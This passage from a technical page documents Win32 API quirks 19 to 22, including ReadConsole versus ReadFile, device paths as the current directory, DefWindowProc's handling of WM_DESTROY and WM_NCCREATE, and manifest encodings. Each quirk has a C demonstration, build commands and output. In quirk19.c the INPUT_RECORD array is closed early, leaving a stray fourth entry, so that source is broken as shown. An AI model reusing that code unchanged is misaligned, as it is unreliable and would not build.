    GetFileType() returned FILE_TYPE_CHAR for file 'CONIN$'
    DeleteFile() returned error 5 for file 'CONIN$'
    GetFileAttributes() returned attributes 0x00000020 for file 'CONOUT$'
    GetFileType() returned FILE_TYPE_CHAR for file 'CONOUT$'
    DeleteFile() returned error 5 for file 'CONOUT$'
    CreateFile() returned error 80 for file 'CONERR$'
    
    CreateHardLink() returned error 183 for hardlink 'CONIN$'
    CreateHardLink() returned error 183 for hardlink 'CONOUT$'
    CreateHardLink() returned error 183 for hardlink 'CONERR$'
    OUCH¹: GetFileAttributes() yields success for files and directories with the special names CONIN$ and CONOUT$!

    OUCH²: while CopyFile() fails properly with Win32 error code 6 alias ERROR_INVALID_HANDLE for CONIN$ and Win32 error code 5 alias ERROR_ACCESS_DENIED for CONOUT$, MoveFile() but succeeds!

    OUCH³: CreateDirectory() creates directories with the special names CONIN$ and CONOUT$, and RemoveDirectory() removes them!

    OUCH⁴: CreateHardLink() creates hardlinks files with the special names CONIN$ and CONOUT$, and DeleteFile() deletes them!

    OOPS: CreateFile() does not open an existing directory or file with the special name CONIN$ or CONOUT$, but opens the console input buffer or the console screen buffer instead!

Note: the evaluation of the (mis)behaviour with the Win32 functions CopyFile2(), CopyFileEx(), CopyFileTransacted(), CreateDirectoryEx(), CreateDirectoryTransacted(), CreateFile2(), CreateFileTransacted(), CreateHardLinkTransacted(), DeleteFileTransacted(), GetFileAttributesEx(), GetFileAttributesTransacted(), MoveFileEx(), MoveFileTransacted(), MoveFileWithProgress(), RemoveDirectoryTransacted() and ReplaceFile() is left as an exercise to the reader.

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 19

The documentation for the Win32 function ReadConsole() specifies:
Reads character input from the console input buffer and removes it from the buffer.
BOOL ReadConsole(
  HANDLE  hConsoleInput,
  LPVOID  lpBuffer,
  DWORD   nNumberOfCharsToRead,
  LPDWORD lpNumberOfCharsRead,
  LPVOID  pInputControl
);
[…]

lpBuffer [out]
A pointer to a buffer that receives the data read from the console input buffer.

nNumberOfCharsToRead [out]
The number of characters to be read. […]

pInputControl [in, optional]
A pointer to a CONSOLE_READCONSOLE_CONTROL structure that specifies a control character to signal the end of the read operation. This parameter can be NULL.

Remarks

ReadConsole reads keyboard input from a console's input buffer. It behaves like the ReadFile function, […]

The documentation for the Win32 function ReadFile() specifies:
Reads data from the specified file or input/output (I/O) device. Reads occur at the position specified by the file pointer if supported by the device.
BOOL ReadFile(
  HANDLE       hFile,
  LPVOID       lpBuffer,
  DWORD        nNumberOfBytesToRead,
  LPDWORD      lpNumberOfBytesRead,
  LPOVERLAPPED lpOverlapped
);
[…]

Remarks

Characters can be read from the console input buffer by using ReadFile with a handle to console input. The console mode determines the exact behavior of the ReadFile function. By default, the console mode is ENABLE_LINE_INPUT, which indicates that ReadFile should read until it reaches a carriage return. If you press Ctrl+C, the call succeeds, but GetLastError returns ERROR_OPERATION_ABORTED.

Demonstration

Perform the following 6 simple steps to prove the documentation cited above wrong and show the (mis)behaviour.
  1. Create the text file quirk19.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	INPUT_RECORD	irInput[] = {{KEY_EVENT, {TRUE, L'\0', VK_PACKET, L'\0', L'€', 0}},
    			             {KEY_EVENT, {FALSE, L'\0', VK_PACKET, L'\0', L'€', 0}},
    			             {KEY_EVENT, {TRUE, L'\0', VK_RETURN, L'\0', L'\r', 0}}};
    			             {KEY_EVENT, {FALSE, L'\0', VK_RETURN, L'\0', L'\r', 0}}};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwCount;
    	DWORD	dwError = ERROR_SUCCESS;
    	DWORD	dwInput;
    	WCHAR	szInput[sizeof(irInput) / sizeof(*irInput)];
    	HANDLE	hInput;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		hInput = GetStdHandle(STD_INPUT_HANDLE);
    
    		if (hInput == INVALID_HANDLE_VALUE)
    			PrintConsole(hConsole,
    			             L"GetStdHandle() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			if (!FlushConsoleInputBuffer(hInput))
    				PrintConsole(hConsole,
    				             L"FlushConsoleInputBuffer() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    #ifndef QUIRKS
    				if (!WriteConsoleInput(hInput,
    				                       irInput,
    				                       sizeof(irInput) / sizeof(*irInput),
    				                       &dwInput))
    					PrintConsole(hConsole,
    					             L"WriteConsoleInput() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					PrintConsole(hConsole,
    					             L"WriteConsoleInput() wrote %lu of %lu input records\n",
    					             dwInput, sizeof(irInput) / sizeof(*irInput));
    
    					if (!ReadConsole(hInput, szInput, sizeof(szInput) / sizeof(*szInput), &dwInput, NULL))
    						PrintConsole(hConsole,
    						             L"ReadConsole() returned error %lu\n",
    						             dwError = GetLastError());
    					else
    					{
    						PrintConsole(hConsole,
    						             L"ReadConsole() read %lu characters: \'%lc\' ",
    						             dwCount = dwInput, *szInput);
    
    						for (dwInput = 0; dwInput < dwCount; dwInput++)
    							PrintConsole(hConsole,
    							             L"%lc U+%04hX",
    							             dwInput == 0 ? L'=' : L',', szInput[dwInput]);
    
    						WriteConsole(hConsole, L"\n", 1UL, (LPDWORD) NULL, NULL);
    					}
    				}
    
    				if (!WriteConsoleInput(hInput,
    				                       irInput,
    				                       sizeof(irInput) / sizeof(*irInput),
    				                       &dwInput))
    					PrintConsole(hConsole,
    					             L"WriteConsoleInput() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					PrintConsole(hConsole,
    					             L"WriteConsoleInput() wrote %lu of %lu input records\n",
    					             dwInput, sizeof(irInput) / sizeof(*irInput));
    
    					if (!ReadFile(hInput, szInput, sizeof(szInput), &dwInput, (LPOVERLAPPED) NULL))
    						PrintConsole(hConsole,
    						             L"ReadFile() returned error %lu\n",
    						             dwError = GetLastError());
    					else
    					{
    						PrintConsole(hConsole,
    						             L"ReadFile() read %lu characters: \'%hc\' ",
    						             dwCount = dwInput, *szInput);
    
    						for (dwInput = 0; dwInput < dwCount; dwInput++)
    							PrintConsole(hConsole,
    							             L"%lc \\x%02X",
    							             dwInput == 0 ? L'=' : L',', ((LPCSTR) szInput)[dwInput]);
    
    						WriteConsole(hConsole, L"\n", 1UL, (LPDWORD) NULL, NULL);
    					}
    				}
    #else // QUIRKS
    				if (!WriteConsole(hConsole,
    				                  L"Press CTRL+C or ENTER to continue: ",
    				                  sizeof("Press CTRL+C or ENTER to continue: ") - 1,
    				                  (LPDWORD) NULL,
    				                  NULL))
    					PrintConsole(hConsole,
    					             L"WriteConsole() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    					if (!ReadConsole(hInput, NULL, 0, &dwInput, NULL))
    						PrintConsole(hConsole,
    						             L"ReadConsole() returned error %lu\n",
    						             dwError = GetLastError());
    					else
    						PrintConsole(hConsole,
    						             L"ReadConsole() read %lu characters\n",
    						             dwInput);
    
    				if (!WriteConsole(hConsole,
    				                  L"Press CTRL+C or ENTER to continue: ",
    				                  sizeof("Press CTRL+C or ENTER to continue: ") - 1,
    				                  (LPDWORD) NULL,
    				                  NULL))
    					PrintConsole(hConsole,
    					             L"WriteConsole() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    					if (!ReadFile(hInput, NULL, 0, &dwInput, (LPOVERLAPPED) NULL))
    						PrintConsole(hConsole,
    						             L"ReadFile() returned error %lu\n",
    						             dwError = GetLastError());
    					else
    						PrintConsole(hConsole,
    						             L"ReadFile() read %lu characters\n",
    						             dwInput);
    #endif // QUIRKS
    			}
    
    			if (!CloseHandle(hInput))
    				PrintConsole(hConsole,
    				             L"CloseHandle() returned error %lu\n",
    				             GetLastError());
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk19.exe a first time from the source file quirk19.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk19.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk19.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk19.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk19.exe
    quirk19.obj
  3. Execute the console application quirk19.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk19.exe
    WriteConsoleInput() wrote 4 of 4 input records
    €
    ReadConsole() read 3 characters: '€' = U+20AC, U+000D, U+000A
    WriteConsoleInput() wrote 4 of 4 input records
    €
    ReadFile() read 3 characters: '?' = \x3F, \x0D, \x0A
    OUCH¹: contrary to the second highlighted statement cited above, the ReadConsole() function (mis)behaves not like the ReadFile() function, which looses (not only) the € sign!
  4. Build the console application quirk19.exe a second time from the source file quirk19.c created in step 1., now with the preprocessor macro QUIRKS defined:

    CL.EXE /DQUIRKS quirk19.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk19.c
    quirk19.c(43) : warning C4101: 'szInput' : unreferenced local variable
    quirk19.c(40) : warning C4101: 'dwCount' : unreferenced local variable
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk19.exe
    quirk19.obj
  5. Execute the console application quirk19.exe built in step 4. a first time to demonstrate the (mis)behaviour, answering its prompt(s) with the Enter key:

    .\quirk19.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Press CTRL+C or ENTER to continue:
    ReadConsole() read 0 characters
    Press CTRL+C or ENTER to continue: ReadFile() returned error 998
    
    0x3e6 (WIN32: 998 ERROR_NOACCESS) -- 998 (998)
    Error message text: Invalid access to memory location.
    CertUtil: -error command completed successfully.
    OUCH²: contrary to the second highlighted statement cited above, the ReadConsole() function (mis)behaves not like the ReadFile() function, but waits for console input and returns success when called with buffer address NULL and buffer size 0!
  6. Execute the console application quirk19.exe built in step 4. a second time to demonstrate the (mis)behaviour, now answering its prompt(s) with the Ctrl C keyboard shortcut:

    .\quirk19.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    Press CTRL+C or ENTER to continue: ReadConsole() read 0 characters
    Press CTRL+C or ENTER to continue: ^C
    
    0xc000013a (NT: 0xc000013a STATUS_CONTROL_C_EXIT) -- 3221225786 (-1073741510)
    Error message text: {Application Exit by CTRL+C}
    The application terminated as a result of a CTRL+C.
    CertUtil: -error command completed successfully.

    OUCH³: contrary to the third highlighted statement cited above, the ReadFile() function does not return at all when Ctrl C is pressed!

    OUCH⁴: contrary to the second highlighted statement cited above, the ReadConsole() function (mis)behaves not like the ReadFile() function, but returns success when Ctrl C is pressed!

Quirk № 20

The documentation for the Win32 function SetCurrentDirectory() specifies:
Changes the current directory for the current process.
BOOL SetCurrentDirectory(
  LPCTSTR lpPathName
);
[…]

lpPathName

The path to the new current directory. This parameter may specify a relative path or a full path. In either case, the full path of the specified directory is calculated and stored as the current directory.

[…]

The final character before the null character must be a backslash ('\'). If you do not specify the backslash, it will be added for you; therefore, specify MAX_PATH-2 characters for the path unless you include the trailing backslash, in which case, specify MAX_PATH-1 characters for the path.

[…]

Each process has a single current directory made up of two parts:

The documentation for the Win32 function GetCurrentDirectory() repeats the wrong remarks cited above:
Each process has a single current directory made up of two parts:

Demonstration

Perform the following 3 simple steps to show the (mis)behaviour.
  1. Create the text file quirk20.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	LPCWSTR	szDevices[3] = {L"\\\\.\\NUL", L"\\\\.\\PIPE", L"\\\\.\\PIPE\\"};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szDirectory[MAX_PATH];
    	DWORD	dwDevices = 0;
    	DWORD	dwError = ERROR_SUCCESS;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		do
    			if (!SetCurrentDirectory(szDevices[dwDevices]))
    				PrintConsole(hConsole,
    				             L"SetCurrentDirectory() returned error %lu for \'%ls\'\n",
    				             dwError = GetLastError(), szDevices[dwDevices]);
    			else
    				if (!GetCurrentDirectory(sizeof(szDirectory) / sizeof(*szDirectory),
    				                         szDirectory))
    					PrintConsole(hConsole,
    					             L"GetCurrentDirectory() returned error %lu for \'%ls\'\n",
    					             dwError = GetLastError(), szDevices[dwDevices]);
    				else
    					PrintConsole(hConsole,
    					             L"GetCurrentDirectory() returned value \'%ls\' for \'%ls\'\n",
    					             szDirectory, szDevices[dwDevices]);
    		while (++dwDevices < sizeof(szDevices) / sizeof(*szDevices));
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk20.exe from the source file quirk20.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk20.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk20.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk20.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk20.exe
    quirk20.obj
  3. Execute the console application quirk20.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk20.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    GetCurrentDirectory() returned value '\\.\NUL' for '\\.\NUL\'
    SetCurrentDirectory() returned error 123 for '\\.\PIPE'
    GetCurrentDirectory() returned value '\\.\PIPE' for '\\.\PIPE\'
    
    0x7b (WIN32: 123 ERROR_INVALID_NAME) -- 123 (123)
    Error message text: The filename, directory name, or volume label syntax is incorrect.
    CertUtil: -error command completed successfully.
    OUCH: contrary to the documentation cited above, the Win32 function SetCurrentDirectory() fails to append the trailing backslash for the argument \\.\PIPE and returns the Win32 error code 123 alias ERROR_INVALID_NAME instead!

    OOPS: contrary to the documentation cited above, the current directory can but be a device name, for example \\.\NUL\ or \\.\PIPE\!

Note: the examination that the Win32 functions CreateProcess*() fail to accept \\.\NUL\ or \\.\PIPE\ as current directory is left as an exercise to the reader.

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 21

The Win32 functions DefWindowProc() and PostQuitMessage() are documented in the MSDN as follows:
Calls the default window procedure to provide default processing for any window messages that an application does not process. This function ensures that every message is processed. DefWindowProc is called with the same parameters received by the window procedure.
Indicates to the system that a thread has made a request to terminate (quit). It is typically used in response to a WM_DESTROY message.
The WM_NCCREATE message is documented in the MSDN as follows:
Sent prior to the WM_CREATE message when a window is first created.

A window receives this message through its WindowProc function.

[…]

If an application processes this message, it should return TRUE to continue creation of the window. If the application returns FALSE, the CreateWindow or CreateWindowEx function will return a NULL handle.

DefWindowProc() but does not provide the typical response to the WM_DESTROY message, and returning TRUE in response to the WM_NCCREATE message fails to register and set the window title!

Demonstration

Perform the following 5 simple steps to show the (mis)behaviour.
  1. Create the text file quirk21.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    LRESULT	WINAPI	WindowProc(HWND   hWindow,
    		           UINT   uMessage,
    		           WPARAM wParam,
    		           LPARAM lParam)
    {
    	switch (uMessage)
    	{
    #if QUIRKS == 1	// NOTE: DefWindowProc() must be called in response to the
    		//        WM_NCCREATE message to register the window title!
    
    	case WM_NCCREATE:
    		return (LRESULT) 1;
    #endif
    	case WM_DESTROY:
    		PostQuitMessage(0);
    
    //	case WM_NULL:
    //	case WM_NCDESTROY:
    //	case WM_CREATE:
    		return (LRESULT) 0;
    
    	default:
    		return DefWindowProc(hWindow, uMessage, wParam, lParam);
    	}
    }
    
    extern	const	IMAGE_DOS_HEADER	__ImageBase;
    
    const	WNDCLASSEX	wce = {sizeof(wce),
    			       CS_DBLCLKS,
    #if QUIRKS == 2	// NOTE: DefWindowProc() does not call PostQuitMessage()
    		//        in response to the WM_DESTROY message!
    			       DefWindowProc,
    #else
    			       WindowProc,
    #endif
    			       0, 0,
    			       (HINSTANCE) &__ImageBase,
    			       (HICON) NULL,
    			       (HCURSOR) NULL,
    			       (HBRUSH) COLOR_BACKGROUND,
    			       (LPCWSTR) NULL,
    			       L"Quirks Demonstration Class",
    			       (HICON) NULL};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwError;
    	LRESULT lResult;
    	BOOL	bResult;
    	HWND	hWindow;
    	MSG	msg;
    	ATOM	atom = RegisterClassEx(&wce);
    
    	if (atom == 0)
    		dwError = GetLastError();
    	else
    	{
    		hWindow = CreateWindowEx(WS_EX_APPWINDOW,
    		                         wce.lpszClassName,
    		                         L"Quirks Demonstration Window",
    		                         WS_OVERLAPPEDWINDOW | WS_VISIBLE,
    		                         CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
    		                         (HWND) NULL,
    		                         (HMENU) NULL,
    		                         wce.hInstance,
    		                         NULL);
    
    		if (hWindow == NULL)
    			dwError = GetLastError();
    		else
    		{
    			while ((bResult = GetMessage(&msg, (HWND) NULL, 0, 0)) > 0)
    			{
    				if (TranslateMessage(&msg))
    					;
    
    				lResult = DispatchMessage(&msg);
    			}
    
    			dwError = bResult < 0 ? GetLastError() : msg.wParam;
    		}
    
    		if (!UnregisterClass(wce.lpszClassName, wce.hInstance))
    			dwError = GetLastError();
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk21.exe from the source file quirk21.c created in step 1. with the preprocessor macro QUIRKS defined as 2:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE /DQUIRKS=2 quirk21.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk21.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk21.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk21.exe
    quirk21.obj
  3. Execute the console application quirk21.exe built in step 2. and close its window to demonstrate the first (mis)behaviour:

    .\quirk21.exe
    OUCH¹: although the application window titled Quirks Demonstration Window was closed, the Command Processor waits for the child process to terminate – for example via the Ctrl C keyboard shortcut!

    Contrary to its documentation cited above, the Win32 function DefWindowProc() fails to provide the typical response to the WM_DESTROY message, i.e. it does not call PostQuitMessage() to terminate the message loop running in the calling thread of the process!

  4. Build the console application quirk21.exe from the source file quirk21.c created in step 1. again, now with the preprocessor macro QUIRKS defined as 1:

    CL.EXE /DQUIRKS=1 quirk21.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk21.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk21.exe
    quirk21.obj
  5. Execute the console application quirk21.exe built in step 4. to demonstrate the second (mis)behaviour:

    .\quirk21.exe
    [Screen shot of untitled application window on Windows XP] [Screen shot of untitled application window on Windows 7] [Screen shot of untitled application window on Windows 10]
    OUCH²: the application window is displayed without its title Quirks Demonstration Window!

    Contrary to the documentation cited above, an application’s WindowProc() must not return TRUE in response to the WM_NCCREATE message, but needs to call the DefWindowProc() function instead!

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 22

The MSDN article Application Manifests specifies:
An application manifest is an XML file that describes and identifies the shared and private side-by-side assemblies that an application should bind to at run time. These should be the same assembly versions that were used to test the application. Application manifests may also describe metadata for files that are private to the application.

For a complete listing of the XML schema, see […]

Windows’ module loader but fails with the NTSTATUS 0xC0150002 alias STATUS_SXS_CANT_GEN_ACTCTX when a valid XML encoding like US-ASCII, UTF-7, UTF-16 or Windows-1252 other than UTF-8 is used in an application manifest or a side-by-side manifest!

Demonstration

Perform the following 10 (plus 1 optional) simple steps to show the (mis)behaviour.
  1. Create the text file quirk22.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #ifdef _DLL
    __declspec(dllexport)
    void	quirk22(void *window, void *instance, char *cmdline, int cmdshow)
    {
    	return;
    }
    
    int	_DllMainCRTStartup(void *module, int reason, void *reserved)
    {
    	return reason == 1;
    }
    #else // _DLL
    int	wmainCRTStartup(void)
    {
    	return -123456789;
    }
    #endif // _DLL
  2. Build the DLL quirk22.dll with the function quirk22() exported and the console application quirk22.exe from the source file quirk22.c created in step 1.:

    SET CL=/GAFyz /Oisy /W4 /X /Zl
    SET LINK=/EXPORT:quirk22=quirk22 /NODEFAULTLIB
    CL.EXE /Gz /LD /MD /wd4100 quirk22.c
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE /Gz quirk22.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk22.dll and quirk22.exe build without any library!

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk22.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /EXPORT:quirk22=quirk22 /NODEFAULTLIB
    /out:quirk22.dll
    /dll
    /implib:quirk22.lib
    quirk22.obj
       Creating library quirk22.lib and object quirk22.exp
    
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk22.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:quirk22.exe
    quirk22.obj
  3. Load and execute the DLL quirk22.dll built in step 2. with RunDLL32.exe to verify its proper function:

    RUNDLL32.EXE "%CD%\quirk22.dll,quirk22"
  4. Create the text file quirk22.rc with the following content next to the files quirk22.* created in the steps 1. and 2.:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define RT_MANIFEST	24
    
    #define CREATEPROCESS_MANIFEST_RESOURCE_ID	1
    #define ISOLATIONAWARE_MANIFEST_RESOURCE_ID	2
    
    ISOLATIONAWARE_MANIFEST_RESOURCE_ID RT_MANIFEST
    BEGIN
        // BUG: the module loader fails with STATUS_SXS_CANT_GEN_ACTCTX
        //      when a valid encoding other than 'UTF-8' is specified!
    
        "<?xml version='1.0' encoding='US-ASCII' standalone='yes' ?>\n"
        "<!-- Copyright (C) 2004-2024, Stefan Kanthak -->\n"
        "<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>\n"
        "    <assemblyIdentity name='Quirk22' processorArchitecture='*' type='win32' version='0.8.1.5' />\n"
        "</assembly>\n"
    END
  5. Create the resource file quirk22.res with the (side-by-side) manifest for the DLL from the file quirk22.rc created in step 4.:

    RC.EXE /L 0 /X quirk22.rc
    Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385
    Copyright (C) Microsoft Corporation.  All rights reserved.
  6. Rebuild the DLL quirk22.dll and embed the (side-by-side) manifest from the resource file quirk22.res created in step 5.:

    SET CL=/GAFyz /Oisy /W4 /X /Zl
    SET LINK=/EXPORT:quirk22=quirk22 /NODEFAULTLIB
    CL.EXE /Gz /LD /MD /wd4100 quirk22.c quirk22.res
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk22.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /EXPORT:quirk22=quirk22 /NODEFAULTLIB
    /out:quirk22.dll
    /dll
    /implib:quirk22.lib
    quirk22.obj
       Creating library quirk22.lib and object quirk22.exp
  7. Repeat step 3. and load the DLL quirk22.dll created in step 6. to demonstrate the (mis)behaviour: [Screen shot of error message from 'RunDLL32.exe' on Windows 7]

    RUNDLL32.EXE "%CD%\quirk22.dll,quirk22"
    OUCH: although the (side-by-side) manifest embedded in the DLL quirk22.dll contains perfectly valid XML, loading of the DLL fails with Win32 error code 14001 alias ERROR_SXS_CANT_GEN_ACTCTX!
  8. Execute the console application quirk22.exe built in step 2. to verify its proper function:

    .\quirk22.exe
    ECHO %ERRORLEVEL%
    -123456789
  9. Create the text file quirk22.exe.manifest with the following content in Windows NT’s native UTF-16LE encoding (with or without the Unicode BOM) next to the console application quirk22.exe built in step 2.:

    <?xml version='1.0' encoding='UTF-16LE' standalone='yes' ?>
    <!-- Copyright (C) 2004-2024, Stefan Kanthak -->
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' />
    Note: properly created, the file’s size is 328 bytes with BOM, and 326 bytes without.
  10. Execute the console application quirk22.exe built in step 2. again to demonstrate the (mis)behaviour:

    .\quirk22.exe
    ECHO %ERRORLEVEL%
    The application has failed to start because its side-by-side configuration is incorrect. Please see the application event log or use the command-line sxstrace.exe tool for more detail.
    14001
    OUCH: although the application manifest quirk22.exe.manifest contains perfectly valid XML, loading of the application fails with Win32 error code 14001 alias ERROR_SXS_CANT_GEN_ACTCTX!
  11. Optionally, if you prefer to see this error message displayed in a dialog box, execute quirk22.exe via START: [Screen shot of error message from 'Windows Loader' on Windows 7]

    START quirk22.exe

Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 23

The specification of the PE Format states under the heading The .tls section:

Note

